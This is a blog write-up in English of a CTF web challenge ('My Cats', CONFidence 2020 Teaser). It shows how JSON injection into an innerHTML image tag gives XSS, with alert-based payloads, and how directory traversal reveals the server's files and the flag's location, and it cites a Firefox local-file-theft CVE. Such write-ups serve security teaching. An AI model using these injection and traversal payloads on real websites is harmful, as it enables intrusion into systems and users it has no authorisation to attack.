CONFidence 2020 CTF Teaser Writeup - English Version


This CTF made me learn a new XSS+SSRF trick, thanks for p4 team.

WEB - My Cats

HAI! WANNA SEE MAI KATZ? OR MAYBE YOU WANNA SEE SOM FLAG? Note: Getting the flags location is a part of the challenge. You don’t have to guess it.

Code Analysis

When we access the website, we can get the following JS code by viewing source:

function getNewCats(kind) {
$.getJSON(''+kind, function(data) {
if(data.status != 'ok')
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

we intuitively find out that it uses JSON to transfer datas, and it uses innerHTML to display the query result in a <img> label. it also provides a report page:

<script src=""></script>
grecaptcha.ready(function () {
grecaptcha.execute('6LcTEeEUAAAAAJOV3IvjyQlaEfLZHom9IvjvyP5d', {action: 'report'}).then(function(token) {
document.getElementById('captcha').value = token
<form method="POST">
<input type="text" name="url">
<input type="hidden" id="captcha" name="captcha">
<input type="submit">

so it may be a XSS chall. If we ctrl the <img> label, we can use onerror event to execute JavaScript code.

JSON Injection and XSS

Let’s fuzz JSON This is a natural JSON result:


{"status": "ok", "content": \["1554866661126960529.jpg", "lJCNA\_JC\_400x400.jpg", "1.jpg", "1548178639131425422.jpg"\]}

And if the query fails, it returns:

GET /cats?kind=y1ng

{"status": "error", "content": "y1ng could not be found"}

as we can see, the query data we customized is reflected back with “could not be found” follows behind in a pair of quotes. but how it handle malicious query data?  try to make  the quote close and something will escape out:


{"status": "error", "content": ""y1ng" could not be found"}

cuz there is no escape characters, it provides the possibility of XSS. However, when status is not OK, the JSON result wont be displayed out:

if(data.status != 'ok')

and OK will only be returned if the query is successful, it is a contradictory condition. If this problem is not solved, the challenge will not be completed. what will happened if we give it a status OK by JSON Injection? payload:", "status": "ok", "content": \["1554866661126960529.jpg", "lJCNA\_JC\_400x400.jpg", "1.jpg", "1548178639131425422.jpg"\], "test":"

Amazing! It works!  But if we try to use onerror event to execute JS, the quotes will pollute JSON causing something error, which means xss failed. It’s easy to solve, just escape single quote by backslash (unicode bypass is also ok), payload:", "status": "ok", "content": \["y1ng\\" onerror=\\"alert('y1ng')"\], "test":"

with backslash, we can even execute any JavaScript without relying on img onerror:", "status": "ok", "content": \["\\"><script>alert('y1ng');</script>"\], "test":"


But when I reported xss link i got nothing useful. After several attempts, I still got nothing. I realized that my idea was wrong. It must not be a XSS attack to steal the admin’s cookie.   sh0ut told me that the cat query can make a directory traversal

If we search for the black cats, the images’ path is static/black/24.jpg, so kind(black) is a folder. and we all know that .. means parent directory, if kind is .. , the path bacomes static/../ which means static’s working directory. Let’s check it out

{"status": "ok", "content": \["", "uwsgi.ini", "", "templates", "static", ""\]}


{"status": "ok", "content": \["opt", "etc", "bin", "boot", "media", "run", "proc", "var", "usr", "dev", "root", "lib64", "sbin", "lib", "sys", "home", "tmp", "mnt", "srv", "app", ".dockerenv", "", "", ""\]}

{"status": "ok", "content": \["report.html", "index.html", "flag.txt"\]}

the index.html and report.html is /index and /report that we can access, owing to the flask route rule we can not access flag.txt, so it’s impossible to get the flag directly. Now by directory traversal we got the absolute path of the website:


By reporting we are given a very import information, the bot runs on an old version of firefox:

There is a vulnerability about Firefox:

Firefox Local Files Theft - CVE-2019-11730

and there is not any sanitizing for kind. So we can use CVE-2019-11730 to read flag with file:// protocal, payload:


Pretty hard!


Author: Y1ng
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!